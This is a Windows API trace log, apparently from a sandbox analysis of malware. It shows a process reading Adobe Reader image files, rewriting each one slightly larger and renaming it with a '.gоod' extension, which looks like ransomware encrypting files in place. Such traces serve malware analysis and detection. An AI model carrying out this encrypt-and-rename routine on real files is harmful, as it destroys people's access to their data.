[0242.916] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x3a28930 | out: lpFileInformation=0x3a28930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd)) returned 1 [0242.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0242.916] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png", lpFilePart=0x0) returned 0x83 [0242.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0242.916] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0242.916] GetFileType (hFile=0x834) returned 0x1 [0242.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0242.916] GetFileType (hFile=0x834) returned 0x1 [0242.916] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x1bd [0242.916] ReadFile (in: hFile=0x834, lpBuffer=0x3a28e98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x3a28e98*, lpNumberOfBytesRead=0x208ed3f8*=0x1bd, lpOverlapped=0x0) returned 1 [0242.917] CloseHandle (hObject=0x834) returned 1 [0243.208] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png", lpFilePart=0x0) returned 0x83 [0243.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0243.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0244.225] GetFileType (hFile=0x824) returned 0x1 [0244.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0244.225] GetFileType (hFile=0x824) returned 0x1 [0244.225] WriteFile (in: hFile=0x824, lpBuffer=0x3b6da18*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3b6da18*, lpNumberOfBytesWritten=0x208ed308*=0x1c0, lpOverlapped=0x0) returned 1 [0244.227] CloseHandle (hObject=0x824) returned 1 [0244.228] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png", lpFilePart=0x0) returned 0x83 [0244.228] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png.gоod", lpFilePart=0x0) returned 0x88 [0244.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0244.264] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8dc88f8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c0)) returned 1 [0244.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0244.264] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon.png.gоod")) returned 1 [0244.265] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x86 [0244.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0244.265] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x3beec20 | out: lpFileInformation=0x3beec20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263)) returned 1 [0244.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0244.266] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x86 [0244.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0244.266] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0244.266] GetFileType (hFile=0x824) returned 0x1 [0244.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0244.266] GetFileType (hFile=0x824) returned 0x1 [0244.266] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x263 [0244.266] ReadFile (in: hFile=0x824, lpBuffer=0x3bef250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x3bef250*, lpNumberOfBytesRead=0x208ed3f8*=0x263, lpOverlapped=0x0) returned 1 [0244.267] CloseHandle (hObject=0x824) returned 1 [0244.294] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x86 [0244.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0244.294] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0244.295] GetFileType (hFile=0x824) returned 0x1 [0244.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0244.295] GetFileType (hFile=0x824) returned 0x1 [0244.295] WriteFile (in: hFile=0x824, lpBuffer=0x3c67330*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3c67330*, lpNumberOfBytesWritten=0x208ed308*=0x270, lpOverlapped=0x0) returned 1 [0244.295] CloseHandle (hObject=0x824) returned 1 [0244.295] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png", lpFilePart=0x0) returned 0x86 [0244.295] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png.gоod", lpFilePart=0x0) returned 0x8b [0244.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0244.295] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8dd21847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0244.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0244.295] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_2x.png.gоod")) returned 1 [0244.296] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x89 [0244.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0244.296] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png"), fInfoLevelId=0x0, lpFileInformation=0x3c68740 | out: lpFileInformation=0x3c68740*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184)) returned 1 [0244.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0244.912] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x89 [0244.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0244.912] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0244.912] GetFileType (hFile=0x834) returned 0x1 [0244.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0244.912] GetFileType (hFile=0x834) returned 0x1 [0244.912] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x184 [0244.912] ReadFile (in: hFile=0x834, lpBuffer=0x3b3aa30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x3b3aa30*, lpNumberOfBytesRead=0x208ed3f8*=0x184, lpOverlapped=0x0) returned 1 [0244.912] CloseHandle (hObject=0x834) returned 1 [0246.165] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x89 [0246.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0246.165] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0246.167] GetFileType (hFile=0x808) returned 0x1 [0246.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0246.167] GetFileType (hFile=0x808) returned 0x1 [0246.167] WriteFile (in: hFile=0x808, lpBuffer=0x38a3f50*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x38a3f50*, lpNumberOfBytesWritten=0x208ed308*=0x190, lpOverlapped=0x0) returned 1 [0246.167] CloseHandle (hObject=0x808) returned 1 [0246.167] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x89 [0246.167] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png.gоod", lpFilePart=0x0) returned 0x8e [0246.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0246.167] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8ef032b0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x190)) returned 1 [0246.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0246.168] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover.png.gоod")) returned 1 [0246.169] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x8c [0246.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0246.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x38a5378 | out: lpFileInformation=0x38a5378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228)) returned 1 [0246.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0246.169] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x8c [0246.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0246.169] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0246.169] GetFileType (hFile=0x808) returned 0x1 [0246.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0246.169] GetFileType (hFile=0x808) returned 0x1 [0246.169] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x228 [0246.169] ReadFile (in: hFile=0x808, lpBuffer=0x38a5998, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x38a5998*, lpNumberOfBytesRead=0x208ed3f8*=0x228, lpOverlapped=0x0) returned 1 [0246.571] CloseHandle (hObject=0x808) returned 1 [0247.544] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x8c [0247.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0247.544] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0247.545] GetFileType (hFile=0x82c) returned 0x1 [0247.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0247.545] GetFileType (hFile=0x82c) returned 0x1 [0247.546] WriteFile (in: hFile=0x82c, lpBuffer=0x385ff30*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x385ff30*, lpNumberOfBytesWritten=0x208ed308*=0x230, lpOverlapped=0x0) returned 1 [0247.546] CloseHandle (hObject=0x82c) returned 1 [0247.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x8c [0247.546] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\rhp_world_icon_hover_2x.png.gоod", lpFilePart=0x0) returned 0x91 [0247.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 